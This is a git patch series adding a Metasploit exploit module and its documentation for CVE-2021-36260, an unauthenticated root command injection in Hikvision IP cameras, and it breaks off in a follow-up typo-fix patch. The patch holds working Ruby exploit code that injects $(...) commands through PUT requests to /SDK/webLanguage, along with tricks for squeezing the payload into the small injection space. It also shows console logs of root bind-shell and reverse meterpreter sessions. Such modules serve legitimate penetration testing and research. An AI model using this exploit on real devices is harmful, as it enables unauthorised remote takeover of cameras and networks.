From 4cd3563bc7accd5679ce25a781471741628f10e7 Mon Sep 17 00:00:00 2001 From: Jake Baines Date: Sat, 19 Feb 2022 13:13:24 -0800 Subject: [PATCH 1/4] Initial commit of exploit for CVE-2021-36260 --- .../http/hikvision_cve_2021_36260_blind.md | 432 ++++++++++++++++++ .../http/hikvision_cve_2021_36260_blind.rb | 178 ++++++++ 2 files changed, 610 insertions(+) create mode 100644 documentation/modules/exploit/linux/http/hikvision_cve_2021_36260_blind.md create mode 100644 modules/exploits/linux/http/hikvision_cve_2021_36260_blind.rb diff --git a/documentation/modules/exploit/linux/http/hikvision_cve_2021_36260_blind.md b/documentation/modules/exploit/linux/http/hikvision_cve_2021_36260_blind.md new file mode 100644 index 0000000000..eb41a4eb80 --- /dev/null +++ b/documentation/modules/exploit/linux/http/hikvision_cve_2021_36260_blind.md @@ -0,0 +1,432 @@ +## Vulnerable Application + +### Description + +This module exploits an unauthenticated command injection in a variety of Hikvision IP +cameras (CVE-2021-36260). The module inserts a command into an XML payload used with an +HTTP PUT request sent to the `/SDK/webLanguage` endpoint, resulting in command execution +as the `root` user. + +This module specifically attempts to exploit the blind variant of the attack. The module +was successfully tested against an HWI-B120-D/W using firmware V5.5.101 build 200408. It +was also tested against an unaffected DS-2CD2142FWD-I using firmware V5.5.0 build 170725. +Please see the Hikvision advisory for a full list of affected products. + +The injection space is very small. The entire snprintf is 0x1f bytes and the format +string is: + +`/dav/%s.tar.gz` + +Which accounts for 12 bytes, leaving only 19 bytes for our payload. Fortunately, +snprintf will let us reclaim '.tar.gz' so in reality, there are 26 bytes for our payload. +We need 3 bytes to invoke our injection: $(). Leaving 23 bytes for payload. The 'echo' +stager has a minium of 26 bytes but we obviously don't have that much space. We can steal +the extra space from the "random" file name and compress ' >> ' to '>>'. That will get us +below 23. Squeezing the extra bytes will also allow printf stager to do more than 1 byte +per exploitation. + +### Installation + +Hikvision cameras are physical devices and aren't known to have been successfully emulated. +Actually, they are fairly well known for having encrypted firmware. Either way, if you have +a device, you can determine if you have an affected device/firmware by referencing the +table in the [Hikvision advisory](https://www.hikvision.com/en/support/cybersecurity/security-advisory/security-notification-command-injection-vulnerability-in-some-hikvision-products/security-notification-command-injection-vulnerability-in-some-hikvision-products/). + + +## Verification Steps + +* Acquire an affected device +* Do: `use exploit/linux/http/hikvision_cve_2021_36260_blind` +* Do: `set RHOST ` +* Do: `check` +* Verify the remote target is flagged as vulnerable +* Do: `set LHOST ` +* Do: `exploit` +* You should get a bind shell. + +## Options + +### Target 0 + +Target 1 is a busybox telnetd bind shell. + +### Target 1 + +Target 1 is a the reverse tcp meterpreter stager. Because the payload space is so small it takes +quite a few requests to upload the stager and execute it (100+). + + +## Scenarios + +### Hikvision HWI-B120-D/W using firmware V5.5.101 build 200408. Root shell via bind shell. + +``` +msf6 > use exploit/linux/http/hikvision_cve_2021_36260_blind +[*] Using configured payload cmd/unix/bind_busybox_telnetd +msf6 exploit(linux/http/hikvision_cve_2021_36260_blind) > set RHOST 10.0.0.8 +RHOST => 10.0.0.8 +msf6 exploit(linux/http/hikvision_cve_2021_36260_blind) > check +[*] 10.0.0.8:80 - The target appears to be vulnerable. As determined by HTTP status replies. +msf6 exploit(linux/http/hikvision_cve_2021_36260_blind) > set LHOST 10.0.0.7 +LHOST => 10.0.0.7 +msf6 exploit(linux/http/hikvision_cve_2021_36260_blind) > run + +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. As determined by HTTP status replies. +[*] Executing Unix Command for cmd/unix/bind_busybox_telnetd +[*] Started bind TCP handler against 10.0.0.8:4444 +[*] Command shell session 1 opened (10.0.0.7:33867 -> 10.0.0.8:4444 ) at 2022-02-19 12:22:22 -0800 + + +Shell Banner: +_ +----- + + +# cat /proc/cpuinfo +cat /proc/cpuinfo +Processor : CK810 rev 7 (v10l) +BogoMIPS : 597.60 +Features : swp half thumb fastmult vfp edsp java +CPU implementer : 0x41 +CPU architecture: 7 +CPU variant : 0x0 +CPU part : 0xb76 +CPU revision : 7 + +Hardware : FH8856 +Revision : 0000 +Serial : 0000000000000000 +# pwd +pwd +/home +``` + +### Hikvision DS-2CD2142FWD-I using firmware V5.5.0 build 170725 (unaffected). Failed exploitation. + +``` +msf6 > use exploit/linux/http/hikvision_cve_2021_36260_blind +[*] Using configured payload cmd/unix/bind_busybox_telnetd +msf6 exploit(linux/http/hikvision_cve_2021_36260_blind) > set RHOST 192.168.1.64 +RHOST => 192.168.1.64 +msf6 exploit(linux/http/hikvision_cve_2021_36260_blind) > check +[*] 192.168.1.64:80 - The target is not exploitable. The target did not execute the provided sleep command. +msf6 exploit(linux/http/hikvision_cve_2021_36260_blind) > set LHOST 10.0.0.7 +LHOST => 10.0.0.7 +msf6 exploit(linux/http/hikvision_cve_2021_36260_blind) > run + +[*] Running automatic check ("set AutoCheck false" to disable) +[-] Exploit aborted due to failure: not-vulnerable: The target is not exploitable. The target did not execute the provided sleep command. "set ForceExploit true" to override check result. +[*] Exploit completed, but no session was created. +msf6 exploit(linux/http/hikvision_cve_2021_36260_blind) > set AutoCheck false +AutoCheck => false +msf6 exploit(linux/http/hikvision_cve_2021_36260_blind) > run + +[!] AutoCheck is disabled, proceeding with exploitation +[*] Executing Unix Command for cmd/unix/bind_busybox_telnetd +[*] Started bind TCP handler against 192.168.1.64:4444 +[*] Exploit completed, but no session was created. +msf6 exploit(linux/http/hikvision_cve_2021_36260_blind) > +``` + +### Hikvision HWI-B120-D/W using firmware V5.5.101 build 200408. Root meterpreter shell. + +``` +msf6 > use exploit/linux/http/hikvision_cve_2021_36260_blind +[*] Using configured payload cmd/unix/bind_busybox_telnetd +msf6 exploit(linux/http/hikvision_cve_2021_36260_blind) > set RHOST 10.0.0.8 +RHOST => 10.0.0.8 +msf6 exploit(linux/http/hikvision_cve_2021_36260_blind) > check +[*] 10.0.0.8:80 - The target appears to be vulnerable. As determined by HTTP status replies. +msf6 exploit(linux/http/hikvision_cve_2021_36260_blind) > set LHOST 10.0.0.7 +LHOST => 10.0.0.7 +msf6 exploit(linux/http/hikvision_cve_2021_36260_blind) > set target 1 +target => 1 +msf6 exploit(linux/http/hikvision_cve_2021_36260_blind) > run + +[*] Started reverse TCP handler on 10.0.0.7:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. As determined by HTTP status replies. +[*] Executing Linux Dropper for linux/armle/meterpreter/reverse_tcp +[*] Command Stager progress - 0.38% done (25/6557 bytes) +[*] Command Stager progress - 0.76% done (50/6557 bytes) +[*] Command Stager progress - 1.14% done (75/6557 bytes) +[*] Command Stager progress - 1.53% done (100/6557 bytes) +[*] Command Stager progress - 1.91% done (125/6557 bytes) +[*] Command Stager progress - 2.29% done (150/6557 bytes) +[*] Command Stager progress - 2.67% done (175/6557 bytes) +[*] Command Stager progress - 3.05% done (200/6557 bytes) +[*] Command Stager progress - 3.43% done (225/6557 bytes) +[*] Command Stager progress - 3.81% done (250/6557 bytes) +[*] Command Stager progress - 4.19% done (275/6557 bytes) +[*] Command Stager progress - 4.59% done (301/6557 bytes) +[*] Command Stager progress - 4.97% done (326/6557 bytes) +[*] Command Stager progress - 5.35% done (351/6557 bytes) +[*] Command Stager progress - 5.73% done (376/6557 bytes) +[*] Command Stager progress - 6.12% done (401/6557 bytes) +[*] Command Stager progress - 6.50% done (426/6557 bytes) +[*] Command Stager progress - 6.89% done (452/6557 bytes) +[*] Command Stager progress - 7.27% done (477/6557 bytes) +[*] Command Stager progress - 7.66% done (502/6557 bytes) +[*] Command Stager progress - 8.04% done (527/6557 bytes) +[*] Command Stager progress - 8.42% done (552/6557 bytes) +[*] Command Stager progress - 8.80% done (577/6557 bytes) +[*] Command Stager progress - 9.20% done (603/6557 bytes) +[*] Command Stager progress - 9.59% done (629/6557 bytes) +[*] Command Stager progress - 9.97% done (654/6557 bytes) +[*] Command Stager progress - 10.36% done (679/6557 bytes) +[*] Command Stager progress - 10.74% done (704/6557 bytes) +[*] Command Stager progress - 11.12% done (729/6557 bytes) +[*] Command Stager progress - 11.50% done (754/6557 bytes) +[*] Command Stager progress - 11.88% done (779/6557 bytes) +[*] Command Stager progress - 12.26% done (804/6557 bytes) +[*] Command Stager progress - 12.64% done (829/6557 bytes) +[*] Command Stager progress - 12.99% done (852/6557 bytes) +[*] Command Stager progress - 13.38% done (877/6557 bytes) +[*] Command Stager progress - 13.76% done (902/6557 bytes) +[*] Command Stager progress - 14.11% done (925/6557 bytes) +[*] Command Stager progress - 14.49% done (950/6557 bytes) +[*] Command Stager progress - 14.87% done (975/6557 bytes) +[*] Command Stager progress - 15.25% done (1000/6557 bytes) +[*] Command Stager progress - 15.63% done (1025/6557 bytes) +[*] Command Stager progress - 15.98% done (1048/6557 bytes) +[*] Command Stager progress - 16.36% done (1073/6557 bytes) +[*] Command Stager progress - 16.75% done (1098/6557 bytes) +[*] Command Stager progress - 17.13% done (1123/6557 bytes) +[*] Command Stager progress - 17.51% done (1148/6557 bytes) +[*] Command Stager progress - 17.89% done (1173/6557 bytes) +[*] Command Stager progress - 18.29% done (1199/6557 bytes) +[*] Command Stager progress - 18.64% done (1222/6557 bytes) +[*] Command Stager progress - 19.02% done (1247/6557 bytes) +[*] Command Stager progress - 19.40% done (1272/6557 bytes) +[*] Command Stager progress - 19.78% done (1297/6557 bytes) +[*] Command Stager progress - 20.16% done (1322/6557 bytes) +[*] Command Stager progress - 20.54% done (1347/6557 bytes) +[*] Command Stager progress - 20.92% done (1372/6557 bytes) +[*] Command Stager progress - 21.31% done (1397/6557 bytes) +[*] Command Stager progress - 21.70% done (1423/6557 bytes) +[*] Command Stager progress - 22.08% done (1448/6557 bytes) +[*] Command Stager progress - 22.46% done (1473/6557 bytes) +[*] Command Stager progress - 22.86% done (1499/6557 bytes) +[*] Command Stager progress - 23.24% done (1524/6557 bytes) +[*] Command Stager progress - 23.62% done (1549/6557 bytes) +[*] Command Stager progress - 24.00% done (1574/6557 bytes) +[*] Command Stager progress - 24.36% done (1597/6557 bytes) +[*] Command Stager progress - 24.74% done (1622/6557 bytes) +[*] Command Stager progress - 25.12% done (1647/6557 bytes) +[*] Command Stager progress - 25.50% done (1672/6557 bytes) +[*] Command Stager progress - 25.88% done (1697/6557 bytes) +[*] Command Stager progress - 26.28% done (1723/6557 bytes) +[*] Command Stager progress - 26.63% done (1746/6557 bytes) +[*] Command Stager progress - 27.01% done (1771/6557 bytes) +[*] Command Stager progress - 27.36% done (1794/6557 bytes) +[*] Command Stager progress - 27.74% done (1819/6557 bytes) +[*] Command Stager progress - 28.12% done (1844/6557 bytes) +[*] Command Stager progress - 28.50% done (1869/6557 bytes) +[*] Command Stager progress - 28.85% done (1892/6557 bytes) +[*] Command Stager progress - 29.24% done (1917/6557 bytes) +[*] Command Stager progress - 29.62% done (1942/6557 bytes) +[*] Command Stager progress - 30.00% done (1967/6557 bytes) +[*] Command Stager progress - 30.38% done (1992/6557 bytes) +[*] Command Stager progress - 30.75% done (2016/6557 bytes) +[*] Command Stager progress - 31.13% done (2041/6557 bytes) +[*] Command Stager progress - 31.51% done (2066/6557 bytes) +[*] Command Stager progress - 31.87% done (2090/6557 bytes) +[*] Command Stager progress - 32.24% done (2114/6557 bytes) +[*] Command Stager progress - 32.62% done (2139/6557 bytes) +[*] Command Stager progress - 33.00% done (2164/6557 bytes) +[*] Command Stager progress - 33.38% done (2189/6557 bytes) +[*] Command Stager progress - 33.73% done (2212/6557 bytes) +[*] Command Stager progress - 34.12% done (2237/6557 bytes) +[*] Command Stager progress - 34.50% done (2262/6557 bytes) +[*] Command Stager progress - 34.88% done (2287/6557 bytes) +[*] Command Stager progress - 35.26% done (2312/6557 bytes) +[*] Command Stager progress - 35.66% done (2338/6557 bytes) +[*] Command Stager progress - 36.01% done (2361/6557 bytes) +[*] Command Stager progress - 36.39% done (2386/6557 bytes) +[*] Command Stager progress - 36.79% done (2412/6557 bytes) +[*] Command Stager progress - 37.17% done (2437/6557 bytes) +[*] Command Stager progress - 37.55% done (2462/6557 bytes) +[*] Command Stager progress - 37.90% done (2485/6557 bytes) +[*] Command Stager progress - 38.28% done (2510/6557 bytes) +[*] Command Stager progress - 38.66% done (2535/6557 bytes) +[*] Command Stager progress - 39.04% done (2560/6557 bytes) +[*] Command Stager progress - 39.41% done (2584/6557 bytes) +[*] Command Stager progress - 39.79% done (2609/6557 bytes) +[*] Command Stager progress - 40.17% done (2634/6557 bytes) +[*] Command Stager progress - 40.55% done (2659/6557 bytes) +[*] Command Stager progress - 40.92% done (2683/6557 bytes) +[*] Command Stager progress - 41.28% done (2707/6557 bytes) +[*] Command Stager progress - 41.67% done (2732/6557 bytes) +[*] Command Stager progress - 42.05% done (2757/6557 bytes) +[*] Command Stager progress - 42.44% done (2783/6557 bytes) +[*] Command Stager progress - 42.82% done (2808/6557 bytes) +[*] Command Stager progress - 43.21% done (2833/6557 bytes) +[*] Command Stager progress - 43.60% done (2859/6557 bytes) +[*] Command Stager progress - 43.98% done (2884/6557 bytes) +[*] Command Stager progress - 44.36% done (2909/6557 bytes) +[*] Command Stager progress - 44.75% done (2934/6557 bytes) +[*] Command Stager progress - 45.10% done (2957/6557 bytes) +[*] Command Stager progress - 45.48% done (2982/6557 bytes) +[*] Command Stager progress - 45.86% done (3007/6557 bytes) +[*] Command Stager progress - 46.24% done (3032/6557 bytes) +[*] Command Stager progress - 46.62% done (3057/6557 bytes) +[*] Command Stager progress - 47.02% done (3083/6557 bytes) +[*] Command Stager progress - 47.37% done (3106/6557 bytes) +[*] Command Stager progress - 47.75% done (3131/6557 bytes) +[*] Command Stager progress - 48.15% done (3157/6557 bytes) +[*] Command Stager progress - 48.53% done (3182/6557 bytes) +[*] Command Stager progress - 48.91% done (3207/6557 bytes) +[*] Command Stager progress - 49.29% done (3232/6557 bytes) +[*] Command Stager progress - 49.66% done (3256/6557 bytes) +[*] Command Stager progress - 50.04% done (3281/6557 bytes) +[*] Command Stager progress - 50.42% done (3306/6557 bytes) +[*] Command Stager progress - 50.82% done (3332/6557 bytes) +[*] Command Stager progress - 51.17% done (3355/6557 bytes) +[*] Command Stager progress - 51.55% done (3380/6557 bytes) +[*] Command Stager progress - 51.94% done (3406/6557 bytes) +[*] Command Stager progress - 52.33% done (3431/6557 bytes) +[*] Command Stager progress - 52.71% done (3456/6557 bytes) +[*] Command Stager progress - 53.10% done (3482/6557 bytes) +[*] Command Stager progress - 53.48% done (3507/6557 bytes) +[*] Command Stager progress - 53.87% done (3532/6557 bytes) +[*] Command Stager progress - 54.26% done (3558/6557 bytes) +[*] Command Stager progress - 54.64% done (3583/6557 bytes) +[*] Command Stager progress - 55.03% done (3608/6557 bytes) +[*] Command Stager progress - 55.41% done (3633/6557 bytes) +[*] Command Stager progress - 55.79% done (3658/6557 bytes) +[*] Command Stager progress - 56.17% done (3683/6557 bytes) +[*] Command Stager progress - 56.55% done (3708/6557 bytes) +[*] Command Stager progress - 56.93% done (3733/6557 bytes) +[*] Command Stager progress - 57.31% done (3758/6557 bytes) +[*] Command Stager progress - 57.69% done (3783/6557 bytes) +[*] Command Stager progress - 58.09% done (3809/6557 bytes) +[*] Command Stager progress - 58.47% done (3834/6557 bytes) +[*] Command Stager progress - 58.85% done (3859/6557 bytes) +[*] Command Stager progress - 59.23% done (3884/6557 bytes) +[*] Command Stager progress - 59.60% done (3908/6557 bytes) +[*] Command Stager progress - 59.98% done (3933/6557 bytes) +[*] Command Stager progress - 60.36% done (3958/6557 bytes) +[*] Command Stager progress - 60.71% done (3981/6557 bytes) +[*] Command Stager progress - 61.10% done (4006/6557 bytes) +[*] Command Stager progress - 61.48% done (4031/6557 bytes) +[*] Command Stager progress - 61.86% done (4056/6557 bytes) +[*] Command Stager progress - 62.21% done (4079/6557 bytes) +[*] Command Stager progress - 62.59% done (4104/6557 bytes) +[*] Command Stager progress - 62.97% done (4129/6557 bytes) +[*] Command Stager progress - 63.35% done (4154/6557 bytes) +[*] Command Stager progress - 63.73% done (4179/6557 bytes) +[*] Command Stager progress - 64.08% done (4202/6557 bytes) +[*] Command Stager progress - 64.47% done (4227/6557 bytes) +[*] Command Stager progress - 64.85% done (4252/6557 bytes) +[*] Command Stager progress - 65.23% done (4277/6557 bytes) +[*] Command Stager progress - 65.61% done (4302/6557 bytes) +[*] Command Stager progress - 66.01% done (4328/6557 bytes) +[*] Command Stager progress - 66.40% done (4354/6557 bytes) +[*] Command Stager progress - 66.78% done (4379/6557 bytes) +[*] Command Stager progress - 67.16% done (4404/6557 bytes) +[*] Command Stager progress - 67.55% done (4429/6557 bytes) +[*] Command Stager progress - 67.93% done (4454/6557 bytes) +[*] Command Stager progress - 68.32% done (4480/6557 bytes) +[*] Command Stager progress - 68.71% done (4505/6557 bytes) +[*] Command Stager progress - 69.09% done (4530/6557 bytes) +[*] Command Stager progress - 69.48% done (4556/6557 bytes) +[*] Command Stager progress - 69.86% done (4581/6557 bytes) +[*] Command Stager progress - 70.25% done (4606/6557 bytes) +[*] Command Stager progress - 70.64% done (4632/6557 bytes) +[*] Command Stager progress - 71.02% done (4657/6557 bytes) +[*] Command Stager progress - 71.40% done (4682/6557 bytes) +[*] Command Stager progress - 71.80% done (4708/6557 bytes) +[*] Command Stager progress - 72.18% done (4733/6557 bytes) +[*] Command Stager progress - 72.56% done (4758/6557 bytes) +[*] Command Stager progress - 72.94% done (4783/6557 bytes) +[*] Command Stager progress - 73.31% done (4807/6557 bytes) +[*] Command Stager progress - 73.69% done (4832/6557 bytes) +[*] Command Stager progress - 74.07% done (4857/6557 bytes) +[*] Command Stager progress - 74.47% done (4883/6557 bytes) +[*] Command Stager progress - 74.85% done (4908/6557 bytes) +[*] Command Stager progress - 75.23% done (4933/6557 bytes) +[*] Command Stager progress - 75.61% done (4958/6557 bytes) +[*] Command Stager progress - 76.00% done (4983/6557 bytes) +[*] Command Stager progress - 76.38% done (5008/6557 bytes) +[*] Command Stager progress - 76.76% done (5033/6557 bytes) +[*] Command Stager progress - 77.11% done (5056/6557 bytes) +[*] Command Stager progress - 77.49% done (5081/6557 bytes) +[*] Command Stager progress - 77.87% done (5106/6557 bytes) +[*] Command Stager progress - 78.24% done (5130/6557 bytes) +[*] Command Stager progress - 78.62% done (5155/6557 bytes) +[*] Command Stager progress - 79.00% done (5180/6557 bytes) +[*] Command Stager progress - 79.38% done (5205/6557 bytes) +[*] Command Stager progress - 79.73% done (5228/6557 bytes) +[*] Command Stager progress - 80.11% done (5253/6557 bytes) +[*] Command Stager progress - 80.49% done (5278/6557 bytes) +[*] Command Stager progress - 80.88% done (5303/6557 bytes) +[*] Command Stager progress - 81.26% done (5328/6557 bytes) +[*] Command Stager progress - 81.64% done (5353/6557 bytes) +[*] Command Stager progress - 81.99% done (5376/6557 bytes) +[*] Command Stager progress - 82.37% done (5401/6557 bytes) +[*] Command Stager progress - 82.75% done (5426/6557 bytes) +[*] Command Stager progress - 83.13% done (5451/6557 bytes) +[*] Command Stager progress - 83.51% done (5476/6557 bytes) +[*] Command Stager progress - 83.90% done (5501/6557 bytes) +[*] Command Stager progress - 84.28% done (5526/6557 bytes) +[*] Command Stager progress - 84.64% done (5550/6557 bytes) +[*] Command Stager progress - 85.02% done (5575/6557 bytes) +[*] Command Stager progress - 85.40% done (5600/6557 bytes) +[*] Command Stager progress - 85.79% done (5625/6557 bytes) +[*] Command Stager progress - 86.14% done (5648/6557 bytes) +[*] Command Stager progress - 86.52% done (5673/6557 bytes) +[*] Command Stager progress - 86.90% done (5698/6557 bytes) +[*] Command Stager progress - 87.28% done (5723/6557 bytes) +[*] Command Stager progress - 87.66% done (5748/6557 bytes) +[*] Command Stager progress - 88.04% done (5773/6557 bytes) +[*] Command Stager progress - 88.39% done (5796/6557 bytes) +[*] Command Stager progress - 88.78% done (5821/6557 bytes) +[*] Command Stager progress - 89.13% done (5844/6557 bytes) +[*] Command Stager progress - 89.51% done (5869/6557 bytes) +[*] Command Stager progress - 89.89% done (5894/6557 bytes) +[*] Command Stager progress - 90.27% done (5919/6557 bytes) +[*] Command Stager progress - 90.62% done (5942/6557 bytes) +[*] Command Stager progress - 91.00% done (5967/6557 bytes) +[*] Command Stager progress - 91.38% done (5992/6557 bytes) +[*] Command Stager progress - 91.76% done (6017/6557 bytes) +[*] Command Stager progress - 92.15% done (6042/6557 bytes) +[*] Command Stager progress - 92.53% done (6067/6557 bytes) +[*] Command Stager progress - 92.91% done (6092/6557 bytes) +[*] Command Stager progress - 93.29% done (6117/6557 bytes) +[*] Command Stager progress - 93.64% done (6140/6557 bytes) +[*] Command Stager progress - 94.02% done (6165/6557 bytes) +[*] Command Stager progress - 94.40% done (6190/6557 bytes) +[*] Command Stager progress - 94.77% done (6214/6557 bytes) +[*] Command Stager progress - 95.15% done (6239/6557 bytes) +[*] Command Stager progress - 95.55% done (6265/6557 bytes) +[*] Command Stager progress - 95.93% done (6290/6557 bytes) +[*] Command Stager progress - 96.32% done (6316/6557 bytes) +[*] Command Stager progress - 96.71% done (6341/6557 bytes) +[*] Command Stager progress - 97.06% done (6364/6557 bytes) +[*] Command Stager progress - 97.44% done (6389/6557 bytes) +[*] Command Stager progress - 97.82% done (6414/6557 bytes) +[*] Command Stager progress - 98.20% done (6439/6557 bytes) +[*] Command Stager progress - 98.57% done (6463/6557 bytes) +[*] Command Stager progress - 98.96% done (6489/6557 bytes) +[*] Command Stager progress - 99.31% done (6512/6557 bytes) +[*] Command Stager progress - 99.60% done (6531/6557 bytes) +[*] Sending stage (908480 bytes) to 10.0.0.8 +[*] Command Stager progress - 99.76% done (6541/6557 bytes) +[*] Meterpreter session 1 opened (10.0.0.7:4444 -> 10.0.0.8:46414 ) at 2022-02-19 13:10:29 -0800 +[*] Command Stager progress - 100.00% done (6557/6557 bytes) + +meterpreter > getuid +Server username: root +meterpreter > shell +Process 2331 created. +Channel 1 created. +netstat -tlpn +Active Internet connections (only servers) +Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name +tcp 0 0 :::8000 :::* LISTEN 964/davinci +tcp 0 0 :::322 :::* LISTEN 964/davinci +tcp 0 0 :::554 :::* LISTEN 964/davinci +tcp 0 0 :::80 :::* LISTEN 964/davinci +tcp 0 0 :::443 :::* LISTEN 964/davinci +``` diff --git a/modules/exploits/linux/http/hikvision_cve_2021_36260_blind.rb b/modules/exploits/linux/http/hikvision_cve_2021_36260_blind.rb new file mode 100644 index 0000000000..816b4a6611 --- /dev/null +++ b/modules/exploits/linux/http/hikvision_cve_2021_36260_blind.rb @@ -0,0 +1,178 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Hikvision IP Camera Unauthenticated Command Injection', + 'Description' => %q{ + This module exploits an unauthenticated command injection in a variety of Hikvision IP + cameras (CVE-2021-36260). The module inserts a command into an XML payload used with an + HTTP PUT request sent to the `/SDK/webLanguage` endpoint, resulting in command execution + as the `root` user. + + This module specifically attempts to exploit the blind variant of the attack. The module + was successfully tested against an HWI-B120-D/W using firmware V5.5.101 build 200408. It + was also tested against an unaffected DS-2CD2142FWD-I using firmware V5.5.0 build 170725. + Please see the Hikvision advisory for a full list of affected products. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Watchful_IP', # Vulnerability discovery and disclosure + 'bashis', # Proof of concept + 'jbaines-r7' # Metasploit module + ], + 'References' => [ + [ 'CVE', '2021-36260' ], + [ 'URL', 'https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html'], + [ 'URL', 'https://www.hikvision.com/en/support/cybersecurity/security-advisory/security-notification-command-injection-vulnerability-in-some-hikvision-products/security-notification-command-injection-vulnerability-in-some-hikvision-products/'], + [ 'URL', 'https://github.com/mcw0/PoC/blob/master/CVE-2021-36260.py'] + ], + 'DisclosureDate' => '2021-09-18', + 'Platform' => ['unix', 'linux'], + 'Arch' => [ARCH_CMD, ARCH_ARMLE], + 'Privileged' => false, + 'Targets' => [ + [ + 'Unix Command', + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Type' => :unix_cmd, + 'DefaultOptions' => { + # the target has very limited payload targets and a tight payload space. + # bind_busybox_telnetd might be *the only* one. + 'PAYLOAD' => 'cmd/unix/bind_busybox_telnetd', + # saving four bytes of payload space by using 'sh' instead of '/bin/sh' + 'LOGIN_CMD' => 'sh', + 'Space' => 23 + } + } + ], + [ + 'Linux Dropper', + { + 'Platform' => 'linux', + 'Arch' => [ARCH_ARMLE], + 'Type' => :linux_dropper, + 'CmdStagerFlavor' => [ 'printf', 'echo' ], + 'DefaultOptions' => { + 'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp' + } + } + ] + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'RPORT' => 80, + 'SSL' => false, + 'MeterpreterTryToFork' => true + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] + } + ) + ) + register_options([ + OptString.new('TARGETURI', [true, 'Base path', '/']) + ]) + end + + # Check will test two things: + # 1. Is the endpoint a Hikvision camera? + # 2. Does the endpoint respond as expected to exploitation? This module is + # specifically testing for the blind variant of this attack so we key off + # of the returned HTTP status code. The developer's test target responded + # to exploitation with a 500. Notes from bashis' exploit indicates that + # they saw targets respond with 200 as well, so we'll accept that also. + def check + # Hikvision landing page redirects to '/doc/page/login.asp' via JavaScript: + # + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, '/') + }) + return CheckCode::Unknown("Didn't receive a response from the target.") unless res + return CheckCode::Safe('The target did not respond with a 200 OK') unless res.code == 200 + return CheckCode::Safe('The target doesn\'t appear to be a Hikvision device') unless res.body.include?('/doc/page/login.asp?_') + + payload = '$(cat /proc/cpuinfo)' + res = send_request_cgi({ + 'method' => 'PUT', + 'uri' => normalize_uri(target_uri.path, '/SDK/webLanguage'), + 'data' => payload + }, 10) + + return CheckCode::Unknown("Didn't receive a response from the target.") unless res + return CheckCode::Safe('The target did not respond with a 200 OK or 500 error') unless (res.code == 200 || res.code == 500) + + # Some cameras are not vulnerable and still respond 500. We can weed them out by making + # the remote target sleep and use a low timeout. This might not be good for low latency targets + # or for people using Metasploit as a vulnerability scanner... but it's better than flagging all + # 500 responses as vulnerable. + payload = '$(sleep 20)' + res = send_request_cgi({ + 'method' => 'PUT', + 'uri' => normalize_uri(target_uri.path, '/SDK/webLanguage'), + 'data' => payload + }, 10) + + return CheckCode::Appears('As determined by HTTP status replies.') unless res + + CheckCode::Safe('The target did not execute the provided sleep command.') + end + + def execute_command(cmd, _opts = {}) + # The injection space is very small. The entire snprintf is 0x1f bytes and the + # format string is: + # + # /dav/%s.tar.gz + # + # Which accounts for 12 bytes, leaving only 19 bytes for our payload. Fortunately, + # snprintf will let us reclaim '.tar.gz' so in reality, there are 26 bytes for + # our payload. We need 3 bytes to invoke our injection: $(). Leaving 23 bytes + # for payload. The 'echo' stager has a minium of 26 bytes but we obviously don't + # have that much space. We can steal the extra space from the "random" file name + # and compress ' >> ' to '>>'. That will get us below 23. Squeezing the extra + # bytes will also allow printf stager to do more than 1 byte per exploitation. + cmd = cmd.gsub(%r{tmp/[0-9a-zA-Z]+}, 'tmp/a') + cmd = cmd.gsub(/ >/, '>') + cmd = cmd.gsub(/> /, '>') + + payload = "$(#{cmd})" + res = send_request_cgi({ + 'method' => 'PUT', + 'uri' => normalize_uri(target_uri.path, '/SDK/webLanguage'), + 'data' => payload + }) + + fail_with(Failure::Disconnected, 'Connection failed') unless res + fail_with(Failure::UnexpectedReply, "HTTP status code is not 200 or 500: #{res.code}") unless (res.code == 200 || res.code == 500) + end + + def exploit + print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") + case target['Type'] + when :unix_cmd + execute_command(payload.encoded) + when :linux_dropper + # 26 is technically a lie. See `execute_command` for additional insight + execute_cmdstager(linemax: 26) + end + end +end From e1616a520f0fdf70a828b1470c999a2f2b29dda8 Mon Sep 17 00:00:00 2001 From: Jake Baines Date: Thu, 24 Feb 2022 06:38:36 -0800 Subject: [PATCH 2/4] Fixed a couple of typos. Changed a CheckCode. Randomized the replaced tmp file name --- .../exploit/linux/http/hikvision_cve_2021_36260_blind.md | 4 ++-- .../exploits/linux/http/hikvision_cve_2021_36260_blind.rb | 8 ++++++-- 2 files changed, 8 insertions(+), 4 deletions(-) diff --git a/documentation/modules/exploit/linux/http/hikvision_cve_2021_36260_blind.md b/documentation/modules/exploit/linux/http/hikvision_cve_2021_36260_blind.md index eb41a4eb80..adae4c7566 100644 --- a/documentation/modules/exploit/linux/http/hikvision_cve_2021_36260_blind.md +++ b/documentation/modules/exploit/linux/http/hikvision_cve_2021_36260_blind.md @@ -20,7 +20,7 @@ string is: Which accounts for 12 bytes, leaving only 19 bytes for our payload. Fortunately, snprintf will let us reclaim '.tar.gz' so in reality, there are 26 bytes for our payload. We need 3 bytes to invoke our injection: $(). Leaving 23 bytes for payload. The 'echo' -stager has a minium of 26 bytes but we obviously don't have that much space. We can steal +stager has a minimum of 26 bytes but we obviously don't have that much space. We can steal the extra space from the "random" file name and compress ' >> ' to '>>'. That will get us below 23. Squeezing the extra bytes will also allow printf stager to do more than 1 byte per exploitation. @@ -48,7 +48,7 @@ table in the [Hikvision advisory](https://www.hikvision.com/en/support/cybersecu ### Target 0 -Target 1 is a busybox telnetd bind shell. +Target 0 is a busybox 